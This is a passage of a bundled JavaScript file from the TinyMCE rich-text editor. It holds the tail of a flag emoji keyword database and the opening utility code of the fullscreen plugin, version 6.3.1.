nation","country","banner"],char:"🇧🇫",fitzpatrick_scale:false,category:"flags"},burundi:{keywords:["bi","flag","nation","country","banner"],char:"🇧🇮",fitzpatrick_scale:false,category:"flags"},cape_verde:{keywords:["cabo","verde","flag","nation","country","banner"],char:"🇨🇻",fitzpatrick_scale:false,category:"flags"},cambodia:{keywords:["kh","flag","nation","country","banner"],char:"🇰🇭",fitzpatrick_scale:false,category:"flags"},cameroon:{keywords:["cm","flag","nation","country","banner"],char:"🇨🇲",fitzpatrick_scale:false,category:"flags"},canada:{keywords:["ca","flag","nation","country","banner"],char:"🇨🇦",fitzpatrick_scale:false,category:"flags"},canary_islands:{keywords:["canary","islands","flag","nation","country","banner"],char:"🇮🇨",fitzpatrick_scale:false,category:"flags"},cayman_islands:{keywords:["cayman","islands","flag","nation","country","banner"],char:"🇰🇾",fitzpatrick_scale:false,category:"flags"},central_african_republic:{keywords:["central","african","republic","flag","nation","country","banner"],char:"🇨🇫",fitzpatrick_scale:false,category:"flags"},chad:{keywords:["td","flag","nation","country","banner"],char:"🇹🇩",fitzpatrick_scale:false,category:"flags"},chile:{keywords:["flag","nation","country","banner"],char:"🇨🇱",fitzpatrick_scale:false,category:"flags"},cn:{keywords:["china","chinese","prc","flag","country","nation","banner"],char:"🇨🇳",fitzpatrick_scale:false,category:"flags"},christmas_island:{keywords:["christmas","island","flag","nation","country","banner"],char:"🇨🇽",fitzpatrick_scale:false,category:"flags"},cocos_islands:{keywords:["cocos","keeling","islands","flag","nation","country","banner"],char:"🇨🇨",fitzpatrick_scale:false,category:"flags"},colombia:{keywords:["co","flag","nation","country","banner"],char:"🇨🇴",fitzpatrick_scale:false,category:"flags"},comoros:{keywords:["km","flag","nation","country","banner"],char:"🇰🇲",fitzpatrick_scale:false,category:"flags"},congo_brazzaville:{keywords:["congo","flag","nation","country","banner"],char:"🇨🇬",fitzpatrick_scale:false,category:"flags"},congo_kinshasa:{keywords:["congo","democratic","republic","flag","nation","country","banner"],char:"🇨🇩",fitzpatrick_scale:false,category:"flags"},cook_islands:{keywords:["cook","islands","flag","nation","country","banner"],char:"🇨🇰",fitzpatrick_scale:false,category:"flags"},costa_rica:{keywords:["costa","rica","flag","nation","country","banner"],char:"🇨🇷",fitzpatrick_scale:false,category:"flags"},croatia:{keywords:["hr","flag","nation","country","banner"],char:"🇭🇷",fitzpatrick_scale:false,category:"flags"},cuba:{keywords:["cu","flag","nation","country","banner"],char:"🇨🇺",fitzpatrick_scale:false,category:"flags"},curacao:{keywords:["curaçao","flag","nation","country","banner"],char:"🇨🇼",fitzpatrick_scale:false,category:"flags"},cyprus:{keywords:["cy","flag","nation","country","banner"],char:"🇨🇾",fitzpatrick_scale:false,category:"flags"},czech_republic:{keywords:["cz","flag","nation","country","banner"],char:"🇨🇿",fitzpatrick_scale:false,category:"flags"},denmark:{keywords:["dk","flag","nation","country","banner"],char:"🇩🇰",fitzpatrick_scale:false,category:"flags"},djibouti:{keywords:["dj","flag","nation","country","banner"],char:"🇩🇯",fitzpatrick_scale:false,category:"flags"},dominica:{keywords:["dm","flag","nation","country","banner"],char:"🇩🇲",fitzpatrick_scale:false,category:"flags"},dominican_republic:{keywords:["dominican","republic","flag","nation","country","banner"],char:"🇩🇴",fitzpatrick_scale:false,category:"flags"},ecuador:{keywords:["ec","flag","nation","country","banner"],char:"🇪🇨",fitzpatrick_scale:false,category:"flags"},egypt:{keywords:["eg","flag","nation","country","banner"],char:"🇪🇬",fitzpatrick_scale:false,category:"flags"},el_salvador:{keywords:["el","salvador","flag","nation","country","banner"],char:"🇸🇻",fitzpatrick_scale:false,category:"flags"},equatorial_guinea:{keywords:["equatorial","gn","flag","nation","country","banner"],char:"🇬🇶",fitzpatrick_scale:false,category:"flags"},eritrea:{keywords:["er","flag","nation","country","banner"],char:"🇪🇷",fitzpatrick_scale:false,category:"flags"},estonia:{keywords:["ee","flag","nation","country","banner"],char:"🇪🇪",fitzpatrick_scale:false,category:"flags"},ethiopia:{keywords:["et","flag","nation","country","banner"],char:"🇪🇹",fitzpatrick_scale:false,category:"flags"},eu:{keywords:["european","union","flag","banner"],char:"🇪🇺",fitzpatrick_scale:false,category:"flags"},falkland_islands:{keywords:["falkland","islands","malvinas","flag","nation","country","banner"],char:"🇫🇰",fitzpatrick_scale:false,category:"flags"},faroe_islands:{keywords:["faroe","islands","flag","nation","country","banner"],char:"🇫🇴",fitzpatrick_scale:false,category:"flags"},fiji:{keywords:["fj","flag","nation","country","banner"],char:"🇫🇯",fitzpatrick_scale:false,category:"flags"},finland:{keywords:["fi","flag","nation","country","banner"],char:"🇫🇮",fitzpatrick_scale:false,category:"flags"},fr:{keywords:["banner","flag","nation","france","french","country"],char:"🇫🇷",fitzpatrick_scale:false,category:"flags"},french_guiana:{keywords:["french","guiana","flag","nation","country","banner"],char:"🇬🇫",fitzpatrick_scale:false,category:"flags"},french_polynesia:{keywords:["french","polynesia","flag","nation","country","banner"],char:"🇵🇫",fitzpatrick_scale:false,category:"flags"},french_southern_territories:{keywords:["french","southern","territories","flag","nation","country","banner"],char:"🇹🇫",fitzpatrick_scale:false,category:"flags"},gabon:{keywords:["ga","flag","nation","country","banner"],char:"🇬🇦",fitzpatrick_scale:false,category:"flags"},gambia:{keywords:["gm","flag","nation","country","banner"],char:"🇬🇲",fitzpatrick_scale:false,category:"flags"},georgia:{keywords:["ge","flag","nation","country","banner"],char:"🇬🇪",fitzpatrick_scale:false,category:"flags"},de:{keywords:["german","nation","flag","country","banner"],char:"🇩🇪",fitzpatrick_scale:false,category:"flags"},ghana:{keywords:["gh","flag","nation","country","banner"],char:"🇬🇭",fitzpatrick_scale:false,category:"flags"},gibraltar:{keywords:["gi","flag","nation","country","banner"],char:"🇬🇮",fitzpatrick_scale:false,category:"flags"},greece:{keywords:["gr","flag","nation","country","banner"],char:"🇬🇷",fitzpatrick_scale:false,category:"flags"},greenland:{keywords:["gl","flag","nation","country","banner"],char:"🇬🇱",fitzpatrick_scale:false,category:"flags"},grenada:{keywords:["gd","flag","nation","country","banner"],char:"🇬🇩",fitzpatrick_scale:false,category:"flags"},guadeloupe:{keywords:["gp","flag","nation","country","banner"],char:"🇬🇵",fitzpatrick_scale:false,category:"flags"},guam:{keywords:["gu","flag","nation","country","banner"],char:"🇬🇺",fitzpatrick_scale:false,category:"flags"},guatemala:{keywords:["gt","flag","nation","country","banner"],char:"🇬🇹",fitzpatrick_scale:false,category:"flags"},guernsey:{keywords:["gg","flag","nation","country","banner"],char:"🇬🇬",fitzpatrick_scale:false,category:"flags"},guinea:{keywords:["gn","flag","nation","country","banner"],char:"🇬🇳",fitzpatrick_scale:false,category:"flags"},guinea_bissau:{keywords:["gw","bissau","flag","nation","country","banner"],char:"🇬🇼",fitzpatrick_scale:false,category:"flags"},guyana:{keywords:["gy","flag","nation","country","banner"],char:"🇬🇾",fitzpatrick_scale:false,category:"flags"},haiti:{keywords:["ht","flag","nation","country","banner"],char:"🇭🇹",fitzpatrick_scale:false,category:"flags"},honduras:{keywords:["hn","flag","nation","country","banner"],char:"🇭🇳",fitzpatrick_scale:false,category:"flags"},hong_kong:{keywords:["hong","kong","flag","nation","country","banner"],char:"🇭🇰",fitzpatrick_scale:false,category:"flags"},hungary:{keywords:["hu","flag","nation","country","banner"],char:"🇭🇺",fitzpatrick_scale:false,category:"flags"},iceland:{keywords:["is","flag","nation","country","banner"],char:"🇮🇸",fitzpatrick_scale:false,category:"flags"},india:{keywords:["in","flag","nation","country","banner"],char:"🇮🇳",fitzpatrick_scale:false,category:"flags"},indonesia:{keywords:["flag","nation","country","banner"],char:"🇮🇩",fitzpatrick_scale:false,category:"flags"},iran:{keywords:["iran,","islamic","republic","flag","nation","country","banner"],char:"🇮🇷",fitzpatrick_scale:false,category:"flags"},iraq:{keywords:["iq","flag","nation","country","banner"],char:"🇮🇶",fitzpatrick_scale:false,category:"flags"},ireland:{keywords:["ie","flag","nation","country","banner"],char:"🇮🇪",fitzpatrick_scale:false,category:"flags"},isle_of_man:{keywords:["isle","man","flag","nation","country","banner"],char:"🇮🇲",fitzpatrick_scale:false,category:"flags"},israel:{keywords:["il","flag","nation","country","banner"],char:"🇮🇱",fitzpatrick_scale:false,category:"flags"},it:{keywords:["italy","flag","nation","country","banner"],char:"🇮🇹",fitzpatrick_scale:false,category:"flags"},cote_divoire:{keywords:["ivory","coast","flag","nation","country","banner"],char:"🇨🇮",fitzpatrick_scale:false,category:"flags"},jamaica:{keywords:["jm","flag","nation","country","banner"],char:"🇯🇲",fitzpatrick_scale:false,category:"flags"},jp:{keywords:["japanese","nation","flag","country","banner"],char:"🇯🇵",fitzpatrick_scale:false,category:"flags"},jersey:{keywords:["je","flag","nation","country","banner"],char:"🇯🇪",fitzpatrick_scale:false,category:"flags"},jordan:{keywords:["jo","flag","nation","country","banner"],char:"🇯🇴",fitzpatrick_scale:false,category:"flags"},kazakhstan:{keywords:["kz","flag","nation","country","banner"],char:"🇰🇿",fitzpatrick_scale:false,category:"flags"},kenya:{keywords:["ke","flag","nation","country","banner"],char:"🇰🇪",fitzpatrick_scale:false,category:"flags"},kiribati:{keywords:["ki","flag","nation","country","banner"],char:"🇰🇮",fitzpatrick_scale:false,category:"flags"},kosovo:{keywords:["xk","flag","nation","country","banner"],char:"🇽🇰",fitzpatrick_scale:false,category:"flags"},kuwait:{keywords:["kw","flag","nation","country","banner"],char:"🇰🇼",fitzpatrick_scale:false,category:"flags"},kyrgyzstan:{keywords:["kg","flag","nation","country","banner"],char:"🇰🇬",fitzpatrick_scale:false,category:"flags"},laos:{keywords:["lao","democratic","republic","flag","nation","country","banner"],char:"🇱🇦",fitzpatrick_scale:false,category:"flags"},latvia:{keywords:["lv","flag","nation","country","banner"],char:"🇱🇻",fitzpatrick_scale:false,category:"flags"},lebanon:{keywords:["lb","flag","nation","country","banner"],char:"🇱🇧",fitzpatrick_scale:false,category:"flags"},lesotho:{keywords:["ls","flag","nation","country","banner"],char:"🇱🇸",fitzpatrick_scale:false,category:"flags"},liberia:{keywords:["lr","flag","nation","country","banner"],char:"🇱🇷",fitzpatrick_scale:false,category:"flags"},libya:{keywords:["ly","flag","nation","country","banner"],char:"🇱🇾",fitzpatrick_scale:false,category:"flags"},liechtenstein:{keywords:["li","flag","nation","country","banner"],char:"🇱🇮",fitzpatrick_scale:false,category:"flags"},lithuania:{keywords:["lt","flag","nation","country","banner"],char:"🇱🇹",fitzpatrick_scale:false,category:"flags"},luxembourg:{keywords:["lu","flag","nation","country","banner"],char:"🇱🇺",fitzpatrick_scale:false,category:"flags"},macau:{keywords:["macao","flag","nation","country","banner"],char:"🇲🇴",fitzpatrick_scale:false,category:"flags"},macedonia:{keywords:["macedonia,","flag","nation","country","banner"],char:"🇲🇰",fitzpatrick_scale:false,category:"flags"},madagascar:{keywords:["mg","flag","nation","country","banner"],char:"🇲🇬",fitzpatrick_scale:false,category:"flags"},malawi:{keywords:["mw","flag","nation","country","banner"],char:"🇲🇼",fitzpatrick_scale:false,category:"flags"},malaysia:{keywords:["my","flag","nation","country","banner"],char:"🇲🇾",fitzpatrick_scale:false,category:"flags"},maldives:{keywords:["mv","flag","nation","country","banner"],char:"🇲🇻",fitzpatrick_scale:false,category:"flags"},mali:{keywords:["ml","flag","nation","country","banner"],char:"🇲🇱",fitzpatrick_scale:false,category:"flags"},malta:{keywords:["mt","flag","nation","country","banner"],char:"🇲🇹",fitzpatrick_scale:false,category:"flags"},marshall_islands:{keywords:["marshall","islands","flag","nation","country","banner"],char:"🇲🇭",fitzpatrick_scale:false,category:"flags"},martinique:{keywords:["mq","flag","nation","country","banner"],char:"🇲🇶",fitzpatrick_scale:false,category:"flags"},mauritania:{keywords:["mr","flag","nation","country","banner"],char:"🇲🇷",fitzpatrick_scale:false,category:"flags"},mauritius:{keywords:["mu","flag","nation","country","banner"],char:"🇲🇺",fitzpatrick_scale:false,category:"flags"},mayotte:{keywords:["yt","flag","nation","country","banner"],char:"🇾🇹",fitzpatrick_scale:false,category:"flags"},mexico:{keywords:["mx","flag","nation","country","banner"],char:"🇲🇽",fitzpatrick_scale:false,category:"flags"},micronesia:{keywords:["micronesia,","federated","states","flag","nation","country","banner"],char:"🇫🇲",fitzpatrick_scale:false,category:"flags"},moldova:{keywords:["moldova,","republic","flag","nation","country","banner"],char:"🇲🇩",fitzpatrick_scale:false,category:"flags"},monaco:{keywords:["mc","flag","nation","country","banner"],char:"🇲🇨",fitzpatrick_scale:false,category:"flags"},mongolia:{keywords:["mn","flag","nation","country","banner"],char:"🇲🇳",fitzpatrick_scale:false,category:"flags"},montenegro:{keywords:["me","flag","nation","country","banner"],char:"🇲🇪",fitzpatrick_scale:false,category:"flags"},montserrat:{keywords:["ms","flag","nation","country","banner"],char:"🇲🇸",fitzpatrick_scale:false,category:"flags"},morocco:{keywords:["ma","flag","nation","country","banner"],char:"🇲🇦",fitzpatrick_scale:false,category:"flags"},mozambique:{keywords:["mz","flag","nation","country","banner"],char:"🇲🇿",fitzpatrick_scale:false,category:"flags"},myanmar:{keywords:["mm","flag","nation","country","banner"],char:"🇲🇲",fitzpatrick_scale:false,category:"flags"},namibia:{keywords:["na","flag","nation","country","banner"],char:"🇳🇦",fitzpatrick_scale:false,category:"flags"},nauru:{keywords:["nr","flag","nation","country","banner"],char:"🇳🇷",fitzpatrick_scale:false,category:"flags"},nepal:{keywords:["np","flag","nation","country","banner"],char:"🇳🇵",fitzpatrick_scale:false,category:"flags"},netherlands:{keywords:["nl","flag","nation","country","banner"],char:"🇳🇱",fitzpatrick_scale:false,category:"flags"},new_caledonia:{keywords:["new","caledonia","flag","nation","country","banner"],char:"🇳🇨",fitzpatrick_scale:false,category:"flags"},new_zealand:{keywords:["new","zealand","flag","nation","country","banner"],char:"🇳🇿",fitzpatrick_scale:false,category:"flags"},nicaragua:{keywords:["ni","flag","nation","country","banner"],char:"🇳🇮",fitzpatrick_scale:false,category:"flags"},niger:{keywords:["ne","flag","nation","country","banner"],char:"🇳🇪",fitzpatrick_scale:false,category:"flags"},nigeria:{keywords:["flag","nation","country","banner"],char:"🇳🇬",fitzpatrick_scale:false,category:"flags"},niue:{keywords:["nu","flag","nation","country","banner"],char:"🇳🇺",fitzpatrick_scale:false,category:"flags"},norfolk_island:{keywords:["norfolk","island","flag","nation","country","banner"],char:"🇳🇫",fitzpatrick_scale:false,category:"flags"},northern_mariana_islands:{keywords:["northern","mariana","islands","flag","nation","country","banner"],char:"🇲🇵",fitzpatrick_scale:false,category:"flags"},north_korea:{keywords:["north","korea","nation","flag","country","banner"],char:"🇰🇵",fitzpatrick_scale:false,category:"flags"},norway:{keywords:["no","flag","nation","country","banner"],char:"🇳🇴",fitzpatrick_scale:false,category:"flags"},oman:{keywords:["om_symbol","flag","nation","country","banner"],char:"🇴🇲",fitzpatrick_scale:false,category:"flags"},pakistan:{keywords:["pk","flag","nation","country","banner"],char:"🇵🇰",fitzpatrick_scale:false,category:"flags"},palau:{keywords:["pw","flag","nation","country","banner"],char:"🇵🇼",fitzpatrick_scale:false,category:"flags"},palestinian_territories:{keywords:["palestine","palestinian","territories","flag","nation","country","banner"],char:"🇵🇸",fitzpatrick_scale:false,category:"flags"},panama:{keywords:["pa","flag","nation","country","banner"],char:"🇵🇦",fitzpatrick_scale:false,category:"flags"},papua_new_guinea:{keywords:["papua","new","guinea","flag","nation","country","banner"],char:"🇵🇬",fitzpatrick_scale:false,category:"flags"},paraguay:{keywords:["py","flag","nation","country","banner"],char:"🇵🇾",fitzpatrick_scale:false,category:"flags"},peru:{keywords:["pe","flag","nation","country","banner"],char:"🇵🇪",fitzpatrick_scale:false,category:"flags"},philippines:{keywords:["ph","flag","nation","country","banner"],char:"🇵🇭",fitzpatrick_scale:false,category:"flags"},pitcairn_islands:{keywords:["pitcairn","flag","nation","country","banner"],char:"🇵🇳",fitzpatrick_scale:false,category:"flags"},poland:{keywords:["pl","flag","nation","country","banner"],char:"🇵🇱",fitzpatrick_scale:false,category:"flags"},portugal:{keywords:["pt","flag","nation","country","banner"],char:"🇵🇹",fitzpatrick_scale:false,category:"flags"},puerto_rico:{keywords:["puerto","rico","flag","nation","country","banner"],char:"🇵🇷",fitzpatrick_scale:false,category:"flags"},qatar:{keywords:["qa","flag","nation","country","banner"],char:"🇶🇦",fitzpatrick_scale:false,category:"flags"},reunion:{keywords:["réunion","flag","nation","country","banner"],char:"🇷🇪",fitzpatrick_scale:false,category:"flags"},romania:{keywords:["ro","flag","nation","country","banner"],char:"🇷🇴",fitzpatrick_scale:false,category:"flags"},ru:{keywords:["russian","federation","flag","nation","country","banner"],char:"🇷🇺",fitzpatrick_scale:false,category:"flags"},rwanda:{keywords:["rw","flag","nation","country","banner"],char:"🇷🇼",fitzpatrick_scale:false,category:"flags"},st_barthelemy:{keywords:["saint","barthélemy","flag","nation","country","banner"],char:"🇧🇱",fitzpatrick_scale:false,category:"flags"},st_helena:{keywords:["saint","helena","ascension","tristan","cunha","flag","nation","country","banner"],char:"🇸🇭",fitzpatrick_scale:false,category:"flags"},st_kitts_nevis:{keywords:["saint","kitts","nevis","flag","nation","country","banner"],char:"🇰🇳",fitzpatrick_scale:false,category:"flags"},st_lucia:{keywords:["saint","lucia","flag","nation","country","banner"],char:"🇱🇨",fitzpatrick_scale:false,category:"flags"},st_pierre_miquelon:{keywords:["saint","pierre","miquelon","flag","nation","country","banner"],char:"🇵🇲",fitzpatrick_scale:false,category:"flags"},st_vincent_grenadines:{keywords:["saint","vincent","grenadines","flag","nation","country","banner"],char:"🇻🇨",fitzpatrick_scale:false,category:"flags"},samoa:{keywords:["ws","flag","nation","country","banner"],char:"🇼🇸",fitzpatrick_scale:false,category:"flags"},san_marino:{keywords:["san","marino","flag","nation","country","banner"],char:"🇸🇲",fitzpatrick_scale:false,category:"flags"},sao_tome_principe:{keywords:["sao","tome","principe","flag","nation","country","banner"],char:"🇸🇹",fitzpatrick_scale:false,category:"flags"},saudi_arabia:{keywords:["flag","nation","country","banner"],char:"🇸🇦",fitzpatrick_scale:false,category:"flags"},senegal:{keywords:["sn","flag","nation","country","banner"],char:"🇸🇳",fitzpatrick_scale:false,category:"flags"},serbia:{keywords:["rs","flag","nation","country","banner"],char:"🇷🇸",fitzpatrick_scale:false,category:"flags"},seychelles:{keywords:["sc","flag","nation","country","banner"],char:"🇸🇨",fitzpatrick_scale:false,category:"flags"},sierra_leone:{keywords:["sierra","leone","flag","nation","country","banner"],char:"🇸🇱",fitzpatrick_scale:false,category:"flags"},singapore:{keywords:["sg","flag","nation","country","banner"],char:"🇸🇬",fitzpatrick_scale:false,category:"flags"},sint_maarten:{keywords:["sint","maarten","dutch","flag","nation","country","banner"],char:"🇸🇽",fitzpatrick_scale:false,category:"flags"},slovakia:{keywords:["sk","flag","nation","country","banner"],char:"🇸🇰",fitzpatrick_scale:false,category:"flags"},slovenia:{keywords:["si","flag","nation","country","banner"],char:"🇸🇮",fitzpatrick_scale:false,category:"flags"},solomon_islands:{keywords:["solomon","islands","flag","nation","country","banner"],char:"🇸🇧",fitzpatrick_scale:false,category:"flags"},somalia:{keywords:["so","flag","nation","country","banner"],char:"🇸🇴",fitzpatrick_scale:false,category:"flags"},south_africa:{keywords:["south","africa","flag","nation","country","banner"],char:"🇿🇦",fitzpatrick_scale:false,category:"flags"},south_georgia_south_sandwich_islands:{keywords:["south","georgia","sandwich","islands","flag","nation","country","banner"],char:"🇬🇸",fitzpatrick_scale:false,category:"flags"},kr:{keywords:["south","korea","nation","flag","country","banner"],char:"🇰🇷",fitzpatrick_scale:false,category:"flags"},south_sudan:{keywords:["south","sd","flag","nation","country","banner"],char:"🇸🇸",fitzpatrick_scale:false,category:"flags"},es:{keywords:["spain","flag","nation","country","banner"],char:"🇪🇸",fitzpatrick_scale:false,category:"flags"},sri_lanka:{keywords:["sri","lanka","flag","nation","country","banner"],char:"🇱🇰",fitzpatrick_scale:false,category:"flags"},sudan:{keywords:["sd","flag","nation","country","banner"],char:"🇸🇩",fitzpatrick_scale:false,category:"flags"},suriname:{keywords:["sr","flag","nation","country","banner"],char:"🇸🇷",fitzpatrick_scale:false,category:"flags"},swaziland:{keywords:["sz","flag","nation","country","banner"],char:"🇸🇿",fitzpatrick_scale:false,category:"flags"},sweden:{keywords:["se","flag","nation","country","banner"],char:"🇸🇪",fitzpatrick_scale:false,category:"flags"},switzerland:{keywords:["ch","flag","nation","country","banner"],char:"🇨🇭",fitzpatrick_scale:false,category:"flags"},syria:{keywords:["syrian","arab","republic","flag","nation","country","banner"],char:"🇸🇾",fitzpatrick_scale:false,category:"flags"},taiwan:{keywords:["tw","flag","nation","country","banner"],char:"🇹🇼",fitzpatrick_scale:false,category:"flags"},tajikistan:{keywords:["tj","flag","nation","country","banner"],char:"🇹🇯",fitzpatrick_scale:false,category:"flags"},tanzania:{keywords:["tanzania,","united","republic","flag","nation","country","banner"],char:"🇹🇿",fitzpatrick_scale:false,category:"flags"},thailand:{keywords:["th","flag","nation","country","banner"],char:"🇹🇭",fitzpatrick_scale:false,category:"flags"},timor_leste:{keywords:["timor","leste","flag","nation","country","banner"],char:"🇹🇱",fitzpatrick_scale:false,category:"flags"},togo:{keywords:["tg","flag","nation","country","banner"],char:"🇹🇬",fitzpatrick_scale:false,category:"flags"},tokelau:{keywords:["tk","flag","nation","country","banner"],char:"🇹🇰",fitzpatrick_scale:false,category:"flags"},tonga:{keywords:["to","flag","nation","country","banner"],char:"🇹🇴",fitzpatrick_scale:false,category:"flags"},trinidad_tobago:{keywords:["trinidad","tobago","flag","nation","country","banner"],char:"🇹🇹",fitzpatrick_scale:false,category:"flags"},tunisia:{keywords:["tn","flag","nation","country","banner"],char:"🇹🇳",fitzpatrick_scale:false,category:"flags"},tr:{keywords:["turkey","flag","nation","country","banner"],char:"🇹🇷",fitzpatrick_scale:false,category:"flags"},turkmenistan:{keywords:["flag","nation","country","banner"],char:"🇹🇲",fitzpatrick_scale:false,category:"flags"},turks_caicos_islands:{keywords:["turks","caicos","islands","flag","nation","country","banner"],char:"🇹🇨",fitzpatrick_scale:false,category:"flags"},tuvalu:{keywords:["flag","nation","country","banner"],char:"🇹🇻",fitzpatrick_scale:false,category:"flags"},uganda:{keywords:["ug","flag","nation","country","banner"],char:"🇺🇬",fitzpatrick_scale:false,category:"flags"},ukraine:{keywords:["ua","flag","nation","country","banner"],char:"🇺🇦",fitzpatrick_scale:false,category:"flags"},united_arab_emirates:{keywords:["united","arab","emirates","flag","nation","country","banner"],char:"🇦🇪",fitzpatrick_scale:false,category:"flags"},uk:{keywords:["united","kingdom","great","britain","northern","ireland","flag","nation","country","banner","british","UK","english","england","union jack"],char:"🇬🇧",fitzpatrick_scale:false,category:"flags"},england:{keywords:["flag","english"],char:"🏴󠁧󠁢󠁥󠁮󠁧󠁿",fitzpatrick_scale:false,category:"flags"},scotland:{keywords:["flag","scottish"],char:"🏴󠁧󠁢󠁳󠁣󠁴󠁿",fitzpatrick_scale:false,category:"flags"},wales:{keywords:["flag","welsh"],char:"🏴󠁧󠁢󠁷󠁬󠁳󠁿",fitzpatrick_scale:false,category:"flags"},us:{keywords:["united","states","america","flag","nation","country","banner"],char:"🇺🇸",fitzpatrick_scale:false,category:"flags"},us_virgin_islands:{keywords:["virgin","islands","us","flag","nation","country","banner"],char:"🇻🇮",fitzpatrick_scale:false,category:"flags"},uruguay:{keywords:["uy","flag","nation","country","banner"],char:"🇺🇾",fitzpatrick_scale:false,category:"flags"},uzbekistan:{keywords:["uz","flag","nation","country","banner"],char:"🇺🇿",fitzpatrick_scale:false,category:"flags"},vanuatu:{keywords:["vu","flag","nation","country","banner"],char:"🇻🇺",fitzpatrick_scale:false,category:"flags"},vatican_city:{keywords:["vatican","city","flag","nation","country","banner"],char:"🇻🇦",fitzpatrick_scale:false,category:"flags"},venezuela:{keywords:["ve","bolivarian","republic","flag","nation","country","banner"],char:"🇻🇪",fitzpatrick_scale:false,category:"flags"},vietnam:{keywords:["viet","nam","flag","nation","country","banner"],char:"🇻🇳",fitzpatrick_scale:false,category:"flags"},wallis_futuna:{keywords:["wallis","futuna","flag","nation","country","banner"],char:"🇼🇫",fitzpatrick_scale:false,category:"flags"},western_sahara:{keywords:["western","sahara","flag","nation","country","banner"],char:"🇪🇭",fitzpatrick_scale:false,category:"flags"},yemen:{keywords:["ye","flag","nation","country","banner"],char:"🇾🇪",fitzpatrick_scale:false,category:"flags"},zambia:{keywords:["zm","flag","nation","country","banner"],char:"🇿🇲",fitzpatrick_scale:false,category:"flags"},zimbabwe:{keywords:["zw","flag","nation","country","banner"],char:"🇿🇼",fitzpatrick_scale:false,category:"flags"},united_nations:{keywords:["un","flag","banner"],char:"🇺🇳",fitzpatrick_scale:false,category:"flags"},pirate_flag:{keywords:["skull","crossbones","flag","banner"],char:"🏴‍☠️",fitzpatrick_scale:false,category:"flags"}});

/***/ }),
/* 15 */
/***/ ((__unused_webpack_module, __unused_webpack_exports, __webpack_require__) => {

// Exports the "fullscreen" plugin for usage with module loaders
// Usage:
//   CommonJS:
//     require('tinymce/plugins/fullscreen')
//   ES2015:
//     import 'tinymce/plugins/fullscreen'
__webpack_require__(16);

/***/ }),
/* 16 */
/***/ (() => {

/**
 * TinyMCE version 6.3.1 (2022-12-06)
 */

(function () {
    'use strict';

    const Cell = initial => {
      let value = initial;
      const get = () => {
        return value;
      };
      const set = v => {
        value = v;
      };
      return {
        get,
        set
      };
    };

    var global$2 = tinymce.util.Tools.resolve('tinymce.PluginManager');

    const get$5 = fullscreenState => ({ isFullscreen: () => fullscreenState.get() !== null });

    const hasProto = (v, constructor, predicate) => {
      var _a;
      if (predicate(v, constructor.prototype)) {
        return true;
      } else {
        return ((_a = v.constructor) === null || _a === void 0 ? void 0 : _a.name) === constructor.name;
      }
    };
    const typeOf = x => {
      const t = typeof x;
      if (x === null) {
        return 'null';
      } else if (t === 'object' && Array.isArray(x)) {
        return 'array';
      } else if (t === 'object' && hasProto(x, String, (o, proto) => proto.isPrototypeOf(o))) {
        return 'string';
      } else {
        return t;
      }
    };
    const isType$1 = type => value => typeOf(value) === type;
    const isSimpleType = type => value => typeof value === type;
    const eq$1 = t => a => t === a;
    const isString = isType$1('string');
    const isArray = isType$1('array');
    const isNull = eq$1(null);
    const isBoolean = isSimpleType('boolean');
    const isUndefined = eq$1(undefined);
    const isNullable = a => a === null || a === undefined;
    const isNonNullable = a => !isNullable(a);
    const isFunction = isSimpleType('function');
    const isNumber = isSimpleType('number');

    const noop = () => {
    };
    const compose = (fa, fb) => {
      return (...args) => {
        return fa(fb.apply(null, args));
      };
    };
    const compose1 = (fbc, fab) => a => fbc(fab(a));
    const constant = value => {
      return () => {
        return value;
      };
    };
    function curry(fn, ...initialArgs) {
      return (...restArgs) => {
        const all = initialArgs.concat(restArgs);
        return fn.apply(null, all);
      };
    }
    const never = constant(false);
    const always = constant(true);

    class Optional {
      constructor(tag, value) {
        this.tag = tag;
        this.value = value;
      }
      static some(value) {
        return new Optional(true, value);
      }
      static none() {
        return Optional.singletonNone;
      }
      fold(onNone, onSome) {
        if (this.tag) {
          return onSome(this.value);
        } else {
          return onNone();
        }
      }
      isSome() {
        return this.tag;
      }
      isNone() {
        return !this.tag;
      }
      map(mapper) {
        if (this.tag) {
          return Optional.some(mapper(this.value));
        } else {
          return Optional.none();
        }
      }
      bind(binder) {
        if (this.tag) {
          return binder(this.value);
        } else {
          return Optional.none();
        }
      }
      exists(predicate) {
        return this.tag && predicate(this.value);
      }
      forall(predicate) {
        return !this.tag || predicate(this.value);
      }
      filter(predicate) {
        if (!this.tag || predicate(this.value)) {
          return this;
        } else {
          return Optional.none();
        }
      }
      getOr(replacement) {
        return this.tag ? this.value : replacement;
      }
      or(replacement) {
        return this.tag ? this : replacement;
      }
      getOrThunk(thunk) {
        return this.tag ? this.value : thunk();
      }
      orThunk(thunk) {
        return this.tag ? this : thunk();
      }
      getOrDie(message) {
        if (!this.tag) {
          throw new Error(message !== null && message !== void 0 ? message : 'Called getOrDie on None');
        } else {
          return this.value;
        }
      }
      static from(value) {
        return isNonNullable(value) ? Optional.some(value) : Optional.none();
      }
      getOrNull() {
        return this.tag ? this.value : null;
      }
      getOrUndefined() {
        return this.value;
      }
      each(worker) {
        if (this.tag) {
          worker(this.value);
        }
      }
      toArray() {
        return this.tag ? [this.value] : [];
      }
      toString() {
        return this.tag ? `some(${ this.value })` : 'none()';
      }
    }
    Optional.singletonNone = new Optional(false);

    const singleton = doRevoke => {
      const subject = Cell(Optional.none());
      const revoke = () => subject.get().each(doRevoke);
      const clear = () => {
        revoke();
        subject.set(Optional.none());
      };
      const isSet = () => subject.get().isSome();
      const get = () => subject.get();
      const set = s => {
        revoke();
        subject.set(Optional.some(s));
      };
      return {
        clear,
        isSet,
        get,
        set
      };
    };
    const unbindable = () => singleton(s => s.unbind());
    const value = () => {
      const subject = singleton(noop);
      const on = f => subject.get().each(f);
      return {
        ...subject,
        on
      };
    };

    const first = (fn, rate) => {
      let timer = null;
      const cancel = () => {
        if (!isNull(timer)) {
          clearTimeout(timer);
          timer = null;
        }
      };
      const throttle = (...args) => {
        if (isNull(timer)) {
          timer = setTimeout(() => {
            timer = null;
            fn.apply(null, args);
          }, rate);
        }
      };
      return {
        cancel,
        throttle
      };
    };

    const nativePush = Array.prototype.push;
    const map = (xs, f) => {
      const len = xs.length;
      const r = new Array(len);
      for (let i = 0; i < len; i++) {
        const x = xs[i];
        r[i] = f(x, i);
      }
      return r;
    };
    const each$1 = (xs, f) => {
      for (let i = 0, len = xs.length; i < len; i++) {
        const x = xs[i];
        f(x, i);
      }
    };
    const filter$1 = (xs, pred) => {
      const r = [];
      for (let i = 0, len = xs.length; i < len; i++) {
        const x = xs[i];
        if (pred(x, i)) {
